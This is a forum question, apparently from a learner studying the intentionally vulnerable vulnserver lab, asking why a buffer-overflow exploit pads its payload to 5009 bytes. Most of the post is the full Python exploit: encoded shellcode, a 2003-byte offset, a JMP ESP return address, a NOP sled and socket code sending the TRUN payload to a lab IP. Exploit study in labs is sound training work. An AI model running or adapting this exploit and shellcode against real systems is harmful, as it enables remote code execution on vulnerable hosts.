I was doing vulnserver bufferflow exploit. I saw a tutorial where the he makes a payload to exploit the server.
Take a look at the exploit:
#!/usr/bin/python
import socket
target_ip = "10.0.2.4"
port = 9999
shellcode = ""
shellcode += "\xda\xcd\xbf\x6f\x21\x1b\xab\xd9\x74\x24\xf4\x58\x2b"
shellcode += "\xc9\xb1\x52\x31\x78\x17\x83\xc0\x04\x03\x17\x32\xf9"
shellcode += "\x5e\x1b\xdc\x7f\xa0\xe3\x1d\xe0\x28\x06\x2c\x20\x4e"
shellcode += "\x43\x1f\x90\x04\x01\xac\x5b\x48\xb1\x27\x29\x45\xb6"
shellcode += "\x80\x84\xb3\xf9\x11\xb4\x80\x98\x91\xc7\xd4\x7a\xab"
shellcode += "\x07\x29\x7b\xec\x7a\xc0\x29\xa5\xf1\x77\xdd\xc2\x4c"
shellcode += "\x44\x56\x98\x41\xcc\x8b\x69\x63\xfd\x1a\xe1\x3a\xdd"
shellcode += "\x9d\x26\x37\x54\x85\x2b\x72\x2e\x3e\x9f\x08\xb1\x96"
shellcode += "\xd1\xf1\x1e\xd7\xdd\x03\x5e\x10\xd9\xfb\x15\x68\x19"
shellcode += "\x81\x2d\xaf\x63\x5d\xbb\x2b\xc3\x16\x1b\x97\xf5\xfb"
shellcode += "\xfa\x5c\xf9\xb0\x89\x3a\x1e\x46\x5d\x31\x1a\xc3\x60"
shellcode += "\x95\xaa\x97\x46\x31\xf6\x4c\xe6\x60\x52\x22\x17\x72"
shellcode += "\x3d\x9b\xbd\xf9\xd0\xc8\xcf\xa0\xbc\x3d\xe2\x5a\x3d"
shellcode += "\x2a\x75\x29\x0f\xf5\x2d\xa5\x23\x7e\xe8\x32\x43\x55"
shellcode += "\x4c\xac\xba\x56\xad\xe5\x78\x02\xfd\x9d\xa9\x2b\x96"
shellcode += "\x5d\x55\xfe\x39\x0d\xf9\x51\xfa\xfd\xb9\x01\x92\x17"
shellcode += "\x36\x7d\x82\x18\x9c\x16\x29\xe3\x77\x13\xae\xe9\x82"
shellcode += "\x4b\xac\xed\xaf\xa2\x39\x0b\xc5\xa4\x6f\x84\x72\x5c"
shellcode += "\x2a\x5e\xe2\xa1\xe0\x1b\x24\x29\x07\xdc\xeb\xda\x62"
shellcode += "\xce\x9c\x2a\x39\xac\x0b\x34\x97\xd8\xd0\xa7\x7c\x18"
shellcode += "\x9e\xdb\x2a\x4f\xf7\x2a\x23\x05\xe5\x15\x9d\x3b\xf4"
shellcode += "\xc0\xe6\xff\x23\x31\xe8\xfe\xa6\x0d\xce\x10\x7f\x8d"
shellcode += "\x4a\x44\x2f\xd8\x04\x32\x89\xb2\xe6\xec\x43\x68\xa1"
shellcode += "\x78\x15\x42\x72\xfe\x1a\x8f\x04\x1e\xaa\x66\x51\x21"
shellcode += "\x03\xef\x55\x5a\x79\x8f\x9a\xb1\x39\xaf\x78\x13\x34"
shellcode += "\x58\x25\xf6\xf5\x05\xd6\x2d\x39\x30\x55\xc7\xc2\xc7"
shellcode += "\x45\xa2\xc7\x8c\xc1\x5f\xba\x9d\xa7\x5f\x69\x9d\xed"
payload ="TRUN /.:/"
payload += 2003 * "A" #junk
payload += "\xc7\x11\x50\x62" # 0x625011c7 -> JMP ESP
payload += 40 * "\x90" #nopsled
payload += shellcode
payload += (5009 - len(payload)) * "C"
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip,port))
s.send(payload)
print "[+] " + str(len(payload)) + " Bytes Sent"
except:
print "[-] Crashed"
I can clearly understand that he made a padding("A"*2003) to overwrite the stack. but I didn't understand the arithmetic operation he did in the following line.
payload += (5009 - len(payload)) * "C"
why does he have to do this. exploit is working without it. what is 5009 here? Please tell me if you know. by the way, Article--> HERE
